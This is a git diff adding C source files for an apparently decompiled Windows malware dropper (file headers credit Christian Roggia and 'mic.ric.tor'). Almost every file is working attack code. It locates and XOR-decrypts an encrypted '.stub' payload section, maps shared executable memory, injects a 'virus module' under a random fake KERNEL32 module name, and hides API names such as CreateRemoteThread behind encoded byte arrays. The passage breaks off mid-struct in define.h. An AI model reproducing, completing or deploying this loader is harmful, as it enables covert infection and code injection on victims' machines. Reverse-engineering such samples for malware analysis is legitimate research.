szDebugModuleName, PVOID pVirusModule, UINT32 iVirusModuleSize, HMODULE *hVirusModule) +{ + INT32 iResult; // [sp+0h] [bp-84h]@5 + GENERAL_INFO_BLOCK sInfoBlock; // [sp+4h] [bp-80h]@1 + + // Get a random module name with the format "KERNEL32.DLL.ASLR.XXXXXXXX" + if(GetRandomModuleName(&sInfoBlock, szDebugModuleName) != 0) return 0; + + // Decrypt the Kernel32's and NTDLL's function names + if(bSetup && DecodeEncryptedModuleNames() == FALSE) return -12; + + iResult = LoadVirusModuleSection(GetCurrentProcess(), &sInfoBlock, pVirusModule, iVirusModuleSize, -1, NULL, 0, &s_virusBlocksPTR); + if(iResult) return iResult; + + if(bSetup) + { + iResult = LoadCodeSection(GetCurrentProcess(), s_virusBlocksPTR, &s_codeBlockPTR, &s_ASMCodeBlocksPTR); + if(iResult) return iResult; + + bSetup = FALSE; + } + + // Unknown + iResult = LoadAndInjectVirus((PASM_CODE_BLOCKS_HEADER)s_ASMCodeBlocksPTR, (PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR, &sInfoBlock); + if(!iResult) *hVirusModule = ((PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR)->VirusModulePointer; + + g_hardAddrs.UnmapViewOfFile(s_virusBlocksPTR); + + return iResult; +} \ No newline at end of file diff --git a/MemorySections.h b/MemorySections.h new file mode 100644 index 0000000..2aa0c03 --- /dev/null +++ b/MemorySections.h @@ -0,0 +1,41 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#ifndef __MEMORY_SECTIONS_H__ +#define __MEMORY_SECTIONS_H__ + +#include "define.h" +#include "Encoding.h" +#include "Utils.h" +#include "AssemblyBlock0.h" +#include "AssemblyBlock1.h" +#include "AssemblyBlock2.h" +#include "CodeBlock.h" + +INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVOID pVirusModule, INT32 pVirusModuleSize, INT32 iExecEntryNumber, PVOID pUnknownSegment, UINT32 pUnknownSegmentSize, PVOID *pOutSection); +INT32 LoadAndInjectVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader, PVIRUS_MODULE_BLOCKS_HEADER sVirusModuleBlocksHeader, PGENERAL_INFO_BLOCK sInfoBlock); + +UINT32 GetCodeBlockSize(void); +UINT32 GetCodeBlock(void); +UINT32 GetRelativeExecuteLibraryPointer(void); +UINT32 GetRelativeAlignAddressesPointer(void); + +INT32 LoadCodeSection(HANDLE hHandle, PVOID pVirusModuleSection, PVOID *pCodeBlockPointer, PVOID *pAssemblyCodeBlocksSection); + +INT32 Setup(LPCWSTR szDebugModuleName, PVOID pVirusModule, UINT32 iVirusModuleSize, HMODULE *hVirusModule); + +#endif \ No newline at end of file diff --git a/OS.c b/OS.c new file mode 100644 index 0000000..4a6851f --- /dev/null +++ b/OS.c @@ -0,0 +1,40 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "OS.h" + +/************************************************************************* +** This function check that the system is not too old or too new, ** +** it works with all the versions of Windows from Windows 2000 to ** +** Windows 8 included, in the asm code the function is called with a ** +** value (0 and 1) but actually it is not used, maybe it was used in ** +** the past. ** +*************************************************************************/ +void CheckSystemVersion(BOOL bUknownBool) +{ + struct _OSVERSIONINFOW sVersionInformation; // [sp+0h] [bp-114h]@1 + + sVersionInformation.dwOSVersionInfoSize = sizeof(struct _OSVERSIONINFOW); + + if(!GetVersionExW(&sVersionInformation)) return; + + if(sVersionInformation.dwPlatformId != VER_PLATFORM_WIN32_NT) return; + // Win2k -> Win8 + if(sVersionInformation.dwMajorVersion < 5 && sVersionInformation.dwMajorVersion > 6) return; + + LoadSTUBSection(); +} \ No newline at end of file diff --git a/OS.h b/OS.h new file mode 100644 index 0000000..eddd167 --- /dev/null +++ b/OS.h @@ -0,0 +1,26 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#ifndef __OS_H__ +#define __OS_H__ + +#include "define.h" +#include "STUBHandler.h" + +void CheckSystemVersion(BOOL bUknownBool); + +#endif \ No newline at end of file diff --git a/STUBHandler.c b/STUBHandler.c new file mode 100644 index 0000000..81b51bb --- /dev/null +++ b/STUBHandler.c @@ -0,0 +1,142 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "STUBHandler.h" + +// 99% (C) CODE MATCH +void LoadSTUBSection(void) +{ + FARPROC pVirusExecEntry; // eax@3 + INT32 pSectionVirtualSize; // [sp+0h] [bp-Ch]@1 + DWORD *pSectionSTUB; // [sp+4h] [bp-8h]@1 + HMODULE hVirusModule; // [sp+8h] [bp-4h]@2 + + /* --->> Get the ".stub" section's RVA and Virtual Sizee <<--- */ + if(!LocateSTUBSection((PVOID *)&pSectionSTUB, &pSectionVirtualSize)) return; + + /* --->> Start to decrypt from the 552 byte <<--- */ + /* --->> Decrypt 49.8176 bytes <<--- */ + DecryptSTUBSection((char *)(pSectionSTUB[0] + (UINT32)pSectionSTUB), pSectionSTUB[1]);// (552, 498176) + if(!Setup(NULL, (PVOID)(*pSectionSTUB + (UINT32)pSectionSTUB), pSectionSTUB[1], &hVirusModule)) // (0, 552, 498176, ...) + { + pVirusExecEntry = GetProcAddress(hVirusModule, (LPCSTR)15); + if(pVirusExecEntry) + ((__tLibraryExecEntry)pVirusExecEntry)((DWORD)pSectionSTUB, pSectionVirtualSize); + + FreeLibrary(hVirusModule); + } +} + +// 98% (C) CODE MATCH +void DecryptSTUBSection(char *pSectionSTUB, UINT32 pSectionVirtualSize) +{ + UINT32 iFirstXOR; // edx@2 + UINT32 iSecondXOR; // eax@4 + UINT32 i; + INT32 iTotalCycles; // [sp+8h] [bp-8h]@1 + UINT32 iCyclesSecondXOR; // [sp+Ch] [bp-4h]@1 + + iCyclesSecondXOR = pSectionVirtualSize / 2; + iTotalCycles = 4; + do + { + iFirstXOR = 0; + if(pSectionVirtualSize) + { + do + { + pSectionSTUB[iFirstXOR] ^= -106 * iFirstXOR; + ++iFirstXOR; + } + while(iFirstXOR < pSectionVirtualSize); + } + + iSecondXOR = 0; + if(iCyclesSecondXOR) + { + do + { + pSectionSTUB[iSecondXOR] ^= *(&pSectionSTUB[(pSectionVirtualSize + 1) / 2] + iSecondXOR); + ++iSecondXOR; + } + while(iSecondXOR < iCyclesSecondXOR); + } + + for(i = pSectionVirtualSize - 1; i >= 1; --i) + pSectionSTUB[i] -= pSectionSTUB[i - 1]; + + --iTotalCycles; + } + while(iTotalCycles >= 0); +} + +// 85% (C) CODE MATCH -> NEED DEBUG +bool LocateSTUBSection(PVOID *pRawSectionSTUB, INT32 *pSectionVirtualSize) +{ + PIMAGE_NT_HEADERS pImageNT; // esi@3 + PIMAGE_SECTION_HEADER pImageSection; // edi@5 + INT32 iCurrentSection; // ebx@5 + UINT32 iSectionVirtualSize; // ecx@10 + UINT32 *pSectionSTUB; // eax@11 + + /* --->> Check executable header "MZ" <<--- */ + if(((PIMAGE_DOS_HEADER)hINSTANCE)->e_magic != MZ_HEADER) + return FALSE; + + /* --->> Get the address of the new executable header <<--- */ + pImageNT = (PIMAGE_NT_HEADERS)((DWORD)hINSTANCE + ((PIMAGE_DOS_HEADER)hINSTANCE)->e_lfanew); // (hINSTANCE + 240) + + /* --->> Check new executable header "PE" <<--- */ + if(pImageNT->Signature != PE_HEADER) + return FALSE; + + /* --->> Get the address of the PE Section Table <<--- */ + pImageSection = (PIMAGE_SECTION_HEADER)(pImageNT->FileHeader.SizeOfOptionalHeader + (DWORD)pImageNT + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD)); // (PE header + 224 + 24) + iCurrentSection = 0; + + /* --->> Get the number of sections (5), if it is 0 or negative the function fails <<--- */ + if(pImageNT->FileHeader.NumberOfSections <= 0) + return FALSE; + + /* --->> Search the section ".stub" where the encrypted dll is allocated, if not found the function failed <<--- */ + while(lstrcmpiA((LPCSTR)pImageSection->Name, ".stub")) + { + ++iCurrentSection; + ++pImageSection; // Next section + + if(iCurrentSection >= pImageNT->FileHeader.NumberOfSections) return FALSE; + } + + /* --->> Get the ".stub" section Virtual Size <<--- */ + iSectionVirtualSize = pImageSection->SizeOfRawData; // (503.808 bytes) + + /* --->> Check if the Virtual Size is not too small (VirtualSize < 556) <<--- */ + if(iSectionVirtualSize < STUB_HEADER_LEN) + return FALSE; + + /* --->> Get the ".stub" section RVA (Relative Virtual Address) (hINSTANCE + 0x6000) <<--- */ + /* --->> Check the header (DWORD) of the RVA section (0xAE39120D) <<--- */ + pSectionSTUB = (UINT32 *)((UINT32)hINSTANCE + pImageSection->VirtualAddress); + if(*pSectionSTUB != STUB_INTEGRITY_MARK) + return FALSE; + + /* --->> Remove the header (4 bytes) and put the values in the pointers <<--- */ + *pRawSectionSTUB = pSectionSTUB++; + *pSectionVirtualSize = iSectionVirtualSize - sizeof(UINT32); + + return TRUE; +} \ No newline at end of file diff --git a/STUBHandler.h b/STUBHandler.h new file mode 100644 index 0000000..847fc1e --- /dev/null +++ b/STUBHandler.h @@ -0,0 +1,32 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#ifndef __STUB_HANDLER_H__ +#define __STUB_HANDLER_H__ + +#include "data.h" +#include "define.h" +#include "MemorySections.h" + +#define STUB_INTEGRITY_MARK 0xAE39120D +#define STUB_HEADER_LEN 556 + +void LoadSTUBSection(void); +void DecryptSTUBSection(char *pSectionSTUB, UINT32 pSectionVirtualSize); +BOOL LocateSTUBSection(PVOID *pRawSectionSTUB, INT32 *pSectionVirtualSize); + +#endif \ No newline at end of file diff --git a/Utils.c b/Utils.c new file mode 100644 index 0000000..a26f10b --- /dev/null +++ b/Utils.c @@ -0,0 +1,83 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "Utils.h" + +// 100% (C) CODE MATCH +INT32 SharedMapViewOfSection(HANDLE hHandle, SIZE_T iSectionSize, PHANDLE pSectionHandle, PVOID *pBaseAddr1, PVOID *pBaseAddr2) +{ + SIZE_T iViewSize; // [sp+0h] [bp-10h]@1 + NTSTATUS iStatus; // [sp+4h] [bp-Ch]@3 + LARGE_INTEGER liMaximumSize; // [sp+8h] [bp-8h]@1 + + iViewSize = iSectionSize; + + liMaximumSize.LowPart = iSectionSize; + liMaximumSize.HighPart = 0; + + if(STATUS_SUCCESS != g_hardAddrs.ZwCreateSection(pSectionHandle, SECTION_ALL_ACCESS, 0, &liMaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0))// (..., 0xF001F, 0, ..., 64, 0x8000000, 0) + return -5; + + iStatus = g_hardAddrs.ZwMapViewOfSection(*pSectionHandle, GetCurrentProcess(), pBaseAddr1, 0, 0, 0, &iViewSize, ViewShare, 0, PAGE_EXECUTE_READWRITE);// (..., ..., ..., 0, 0, 0, ..., 1, 0, 64) + if(iStatus != STATUS_SUCCESS) return -5; + + iStatus = g_hardAddrs.ZwMapViewOfSection(*pSectionHandle, hHandle , pBaseAddr2, 0, 0, 0, &iViewSize, ViewShare, 0, PAGE_EXECUTE_READWRITE);// (..., ..., ..., 0, 0, 0, ..., 1, 0, 64) + if(iStatus != STATUS_SUCCESS) return -5; + + return 0; +} + +// 99% (C) CODE MATCH +void CopySegmentIntoSections(PVOID *pSharedSection1, PVOID pSharedSection2, INT32 *pSectionPointer, PSECTION_SEGEMENT_INFO sSegment, PVOID pSegmentContent, UINT32 iSegmentSize) +{ + if(iSegmentSize) __memcpy(*pSharedSection1, pSegmentContent, iSegmentSize); + + sSegment->SegmentAddress = (DWORD)pSharedSection2 + *pSectionPointer; + sSegment->SegmentSize = iSegmentSize; + + *pSharedSection1 = pSharedSection1 + iSegmentSize; + *pSectionPointer += iSegmentSize; +} + +// 100% (C) CODE MATCH +INT32 GetRandomModuleName(GENERAL_INFO_BLOCK *sInfoBlock, LPCWSTR szDebugLibraryName) +{ + WCHAR __KERNEL32_DLL_ASLR_08x[42]; // [sp+8h] [bp-58h]@5 + DWORD dwRandom; // [sp+5Ch] [bp-4h]@5 + + if(szDebugLibraryName) + { + if(lstrlenW(szDebugLibraryName) >= 31) return -1; + lstrcpyW(sInfoBlock->RandomLibraryName, szDebugLibraryName); + } + else + { + dwRandom = GetTickCount() + 3 * GetCurrentThreadId(); + DecodeModuleNameW((WCHAR *)ENCODED_KERNEL32_DLL_ASLR__08x, __KERNEL32_DLL_ASLR_08x); + + do + wsprintfW(sInfoBlock->RandomLibraryName, __KERNEL32_DLL_ASLR_08x, dwRandom++); + while(GetModuleHandleW(sInfoBlock->RandomLibraryName)); + // Defeat ASLR by checking every single address. + } + + sInfoBlock->OriginalAddress = XADDR_KEY ^ (UINT32)sInfoBlock; + sInfoBlock->UnknownZero0 = 0; + sInfoBlock->AlignAddressesFunction = (DWORD)BLOCK4_AlignAddresses; + + return 0; +} \ No newline at end of file diff --git a/Utils.h b/Utils.h new file mode 100644 index 0000000..725192b --- /dev/null +++ b/Utils.h @@ -0,0 +1,30 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +// MODIFIED BY mic.ric.tor + +#ifndef __UTILS_H__ +#define __UTILS_H__ + +#include "define.h" +#include "EncodingUtils.h" +#include "CodeBlock.h" + +INT32 SharedMapViewOfSection(HANDLE hHandle, SIZE_T iSectionSize, PHANDLE pSectionHandle, PVOID *pBaseAddr1, PVOID *pBaseAddr2); +void CopySegmentIntoSections(PVOID *pProcessSection, PVOID pModuleSection, INT32 *pSectionPointer, PSECTION_SEGEMENT_INFO sSegment, PVOID pSegmentContent, UINT32 iSegmentSize); +INT32 GetRandomModuleName(GENERAL_INFO_BLOCK *sInfoBlock, LPCWSTR szDebugLibraryName); + +#endif \ No newline at end of file diff --git a/data.c b/data.c new file mode 100644 index 0000000..24b63a4 --- /dev/null +++ b/data.c @@ -0,0 +1,197 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +#include "data.h" + +#pragma pack(push) +#pragma pack(4) + +// KERNEL32.DLL.ASLR.%08x +const WCHAR ENCODED_KERNEL32_DLL_ASLR__08x[23] = +{ + 0xAE59, 0xAE57, 0xAE40, 0xAE5C, + 0xAE57, 0xAE5E, 0xAE21, 0xAE20, + 0xAE3C, 0xAE56, 0xAE5E, 0xAE5E, + 0xAE3C, 0xAE53, 0xAE41, 0xAE5E, + 0xAE40, 0xAE3C, 0xAE37, 0xAE22, + 0xAE2A, 0xAE6A, 0xAE12 +}; + +const char ENCODED_lstrcmpiW[20] = +{ + 0x7E, 0xAE, 0x61, 0xAE, 0x66, 0xAE, 0x60, 0xAE, + 0x71, 0xAE, 0x7F, 0xAE, 0x62, 0xAE, 0x7B, 0xAE, + 0x45, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_VirtualQuery[26] = +{ + 0x44, 0xAE, 0x7B, 0xAE, 0x60, 0xAE, 0x66, 0xAE, + 0x67, 0xAE, 0x73, 0xAE, 0x7E, 0xAE, 0x43, 0xAE, + 0x67, 0xAE, 0x77, 0xAE, 0x60, 0xAE, 0x6B, 0xAE, + 0x12, 0xAE +}; + +const char ENCODED_VirtualProtect[30] = +{ + 0x44, 0xAE, 0x7B, 0xAE, 0x60, 0xAE, 0x66, 0xAE, + 0x67, 0xAE, 0x73, 0xAE, 0x7E, 0xAE, 0x42, 0xAE, + 0x60, 0xAE, 0x7D, 0xAE, 0x66, 0xAE, 0x77, 0xAE, + 0x71, 0xAE, 0x66, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_GetProcAddress[30] = +{ + 0x55, 0xAE, 0x77, 0xAE, 0x66, 0xAE, 0x42, 0xAE, + 0x60, 0xAE, 0x7D, 0xAE, 0x71, 0xAE, 0x53, 0xAE, + 0x76, 0xAE, 0x76, 0xAE, 0x60, 0xAE, 0x77, 0xAE, + 0x61, 0xAE, 0x61, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_MapViewOfFile[28] = +{ + 0x5F, 0xAE, 0x73, 0xAE, 0x62, 0xAE, 0x44, 0xAE, + 0x7B, 0xAE, 0x77, 0xAE, 0x65, 0xAE, 0x5D, 0xAE, + 0x74, 0xAE, 0x54, 0xAE, 0x7B, 0xAE, 0x7E, 0xAE, + 0x77, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_UnmapViewOfFile[32] = +{ + 0x47, 0xAE, 0x7C, 0xAE, 0x7F, 0xAE, 0x73, 0xAE, + 0x62, 0xAE, 0x44, 0xAE, 0x7B, 0xAE, 0x77, 0xAE, + 0x65, 0xAE, 0x5D, 0xAE, 0x74, 0xAE, 0x54, 0xAE, + 0x7B, 0xAE, 0x7E, 0xAE, 0x77, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_FlushInstructionCache[44] = +{ + 0x54, 0xAE, 0x7E, 0xAE, 0x67, 0xAE, 0x61, 0xAE, + 0x7A, 0xAE, 0x5B, 0xAE, 0x7C, 0xAE, 0x61, 0xAE, + 0x66, 0xAE, 0x60, 0xAE, 0x67, 0xAE, 0x71, 0xAE, + 0x66, 0xAE, 0x7B, 0xAE, 0x7D, 0xAE, 0x7C, 0xAE, + 0x51, 0xAE, 0x73, 0xAE, 0x71, 0xAE, 0x7A, 0xAE, + 0x77, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_LoadLibraryW[26] = +{ + 0x5E, 0xAE, 0x7D, 0xAE, 0x73, 0xAE, 0x76, 0xAE, + 0x5E, 0xAE, 0x7B, 0xAE, 0x70, 0xAE, 0x60, 0xAE, + 0x73, 0xAE, 0x60, 0xAE, 0x6B, 0xAE, 0x45, 0xAE, + 0x12, 0xAE +}; + +const char ENCODED_FreeLibrary[24] = +{ + 0x54, 0xAE, 0x60, 0xAE, 0x77, 0xAE, 0x77, 0xAE, + 0x5E, 0xAE, 0x7B, 0xAE, 0x70, 0xAE, 0x60, 0xAE, + 0x73, 0xAE, 0x60, 0xAE, 0x6B, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_ZwCreateSection[32] = +{ + 0x48, 0xAE, 0x65, 0xAE, 0x51, 0xAE, 0x60, 0xAE, + 0x77, 0xAE, 0x73, 0xAE, 0x66, 0xAE, 0x77, 0xAE, + 0x41, 0xAE, 0x77, 0xAE, 0x71, 0xAE, 0x66, 0xAE, + 0x7B, 0xAE, 0x7D, 0xAE, 0x7C, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_ZwMapViewOfSection[38] = +{ + 0x48, 0xAE, 0x65, 0xAE, 0x5F, 0xAE, 0x73, 0xAE, + 0x62, 0xAE, 0x44, 0xAE, 0x7B, 0xAE, 0x77, 0xAE, + 0x65, 0xAE, 0x5D, 0xAE, 0x74, 0xAE, 0x41, 0xAE, + 0x77, 0xAE, 0x71, 0xAE, 0x66, 0xAE, 0x7B, 0xAE, + 0x7D, 0xAE, 0x7C, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_CreateThread[26] = +{ + 0x51, 0xAE, 0x60, 0xAE, 0x77, 0xAE, 0x73, 0xAE, + 0x66, 0xAE, 0x77, 0xAE, 0x46, 0xAE, 0x7A, 0xAE, + 0x60, 0xAE, 0x77, 0xAE, 0x73, 0xAE, 0x76, 0xAE, + 0x12, 0xAE +}; + +const char ENCODED_WaitForSingleObject[40] = +{ + 0x45, 0xAE, 0x73, 0xAE, 0x7B, 0xAE, 0x66, 0xAE, + 0x54, 0xAE, 0x7D, 0xAE, 0x60, 0xAE, 0x41, 0xAE, + 0x7B, 0xAE, 0x7C, 0xAE, 0x75, 0xAE, 0x7E, 0xAE, + 0x77, 0xAE, 0x5D, 0xAE, 0x70, 0xAE, 0x78, 0xAE, + 0x77, 0xAE, 0x71, 0xAE, 0x66, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_GetExitCodeThread[36] = +{ + 0x55, 0xAE, 0x77, 0xAE, 0x66, 0xAE, 0x57, 0xAE, + 0x6A, 0xAE, 0x7B, 0xAE, 0x66, 0xAE, 0x51, 0xAE, + 0x7D, 0xAE, 0x76, 0xAE, 0x77, 0xAE, 0x46, 0xAE, + 0x7A, 0xAE, 0x60, 0xAE, 0x77, 0xAE, 0x73, 0xAE, + 0x76, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_ZwClose[16] = +{ + 0x48, 0xAE, 0x65, 0xAE, 0x51, 0xAE, 0x7E, 0xAE, + 0x7D, 0xAE, 0x61, 0xAE, 0x77, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_CreateRemoteThread[38] = +{ + 0x51, 0xAE, 0x60, 0xAE, 0x77, 0xAE, 0x73, 0xAE, + 0x66, 0xAE, 0x77, 0xAE, 0x40, 0xAE, 0x77, 0xAE, + 0x7F, 0xAE, 0x7D, 0xAE, 0x66, 0xAE, 0x77, 0xAE, + 0x46, 0xAE, 0x7A, 0xAE, 0x60, 0xAE, 0x77, 0xAE, + 0x73, 0xAE, 0x76, 0xAE, 0x12, 0xAE +}; + +const char ENCODED_NtCreateThreadEx[34] = +{ + 0x5C, 0xAE, 0x66, 0xAE, 0x51, 0xAE, 0x60, 0xAE, + 0x77, 0xAE, 0x73, 0xAE, 0x66, 0xAE, 0x77, 0xAE, + 0x46, 0xAE, 0x7A, 0xAE, 0x60, 0xAE, 0x77, 0xAE, + 0x73, 0xAE, 0x76, 0xAE, 0x57, 0xAE, 0x6A, 0xAE, + 0x12, 0xAE +}; + +const WCHAR ENCODED_KERNEL32_DLL[13] = +{ + 0xAE79, 0xAE77, 0xAE60, 0xAE7C, + 0xAE77, 0xAE7E, 0xAE21, 0xAE20, + 0xAE3C, 0xAE76, 0xAE7E, 0xAE7E, + 0xAE12 +}; + +const WCHAR ENCODED_NTDLL_DLL[10] = +{ + 0xAE7C, 0xAE66, 0xAE76, 0xAE7E, + 0xAE7E, 0xAE3C, 0xAE76, 0xAE7E, + 0xAE7E, 0xAE12 +}; + +#pragma pack(pop) + +//const char szEncryptedSectionMark[5] = ".stub"; + +static BOOL bSetup = TRUE; + +static PVOID s_ASMCodeBlocksPTR = 0; +static PVOID s_virusBlocksPTR = 0; +static PVOID s_codeBlockPTR = 0; + +static HINSTANCE hINSTANCE = 0; \ No newline at end of file diff --git a/data.h b/data.h new file mode 100644 index 0000000..2e1cf99 --- /dev/null +++ b/data.h @@ -0,0 +1,60 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +#ifndef __DATA_H__ +#define __DATA_H__ + +#include "define.h" + +#pragma pack(push) +#pragma pack(4) + +const WCHAR ENCODED_KERNEL32_DLL_ASLR__08x[23]; + +const char ENCODED_lstrcmpiW[20]; +const char ENCODED_VirtualQuery[26]; +const char ENCODED_VirtualProtect[30]; +const char ENCODED_GetProcAddress[30]; +const char ENCODED_MapViewOfFile[28]; +const char ENCODED_UnmapViewOfFile[32]; +const char ENCODED_FlushInstructionCache[44]; +const char ENCODED_LoadLibraryW[26]; +const char ENCODED_FreeLibrary[24]; +const char ENCODED_ZwCreateSection[32]; +const char ENCODED_ZwMapViewOfSection[38]; +const char ENCODED_CreateThread[26]; +const char ENCODED_WaitForSingleObject[40]; +const char ENCODED_GetExitCodeThread[36]; +const char ENCODED_ZwClose[16]; +const char ENCODED_CreateRemoteThread[38]; +const char ENCODED_NtCreateThreadEx[34]; + +const WCHAR ENCODED_KERNEL32_DLL[13]; +const WCHAR ENCODED_NTDLL_DLL[10]; + +#pragma pack(pop) + +//const char szEncryptedSectionMark[5]; + +static BOOL bSetup; + +static PVOID s_ASMCodeBlocksPTR; +static PVOID s_virusBlocksPTR; +static PVOID s_codeBlockPTR; + +static HINSTANCE hINSTANCE; + +#endif \ No newline at end of file diff --git a/define.h b/define.h new file mode 100644 index 0000000..af5efaa --- /dev/null +++ b/define.h @@ -0,0 +1,117 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +#ifndef DEFINE_H +#define DEFINE_H + +#include + +#define _QWORD UINT64 +#define _DWORD UINT32 +#define _WORD USHORT +#define _BYTE UCHAR +#define bool BOOL + +#define __usercall _cdecl +#define __thiscall _cdecl // (?) + +#define NTSTATUS ULONG +#define STATUS_SUCCESS 0x00000000 +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 +#define STATUS_ACCESS_DENIED 0xC0000022 +#define STATUS_BUFFER_OVERFLOW 0x80000005 +#define STATUS_CONFLICTING_ADDRESSES 0xC0000018 + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + UNICODE_STRING *ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; + +#define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES* + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +typedef void (*__tLibraryExecEntry)(DWORD, INT32); +typedef NTSTATUS (*__tAlignAddresses)(PIMAGE_DOS_HEADER *); + +typedef struct _GENERAL_INFO_BLOCK { + DWORD OriginalAddress; + UINT32 UnknownZero0; + HANDLE MappedAddress; + DWORD AlignAddressesFunction; + WCHAR RandomLibraryName[32]; + UINT32 AbsoluteEntryPoint; + UINT32 UnknownZero1; + UINT32 SizeOfStackReserve; + UINT32 SizeOfStackCommit; + UINT32 Subsystem; + UINT16 MinorSubsystemVersion; + UINT16 MajorSubsystemVersion; + UINT32 UnknownZero2; + UINT16 Charactersitics; + UINT16 DllCharacteristics; + UINT16 Machine; + UINT8 UnknownOne; + UINT8 UnknownFour; + UINT32 LoaderFlags; + UINT32 VirusModuleSize; + UINT32 UnknownZero3; +} 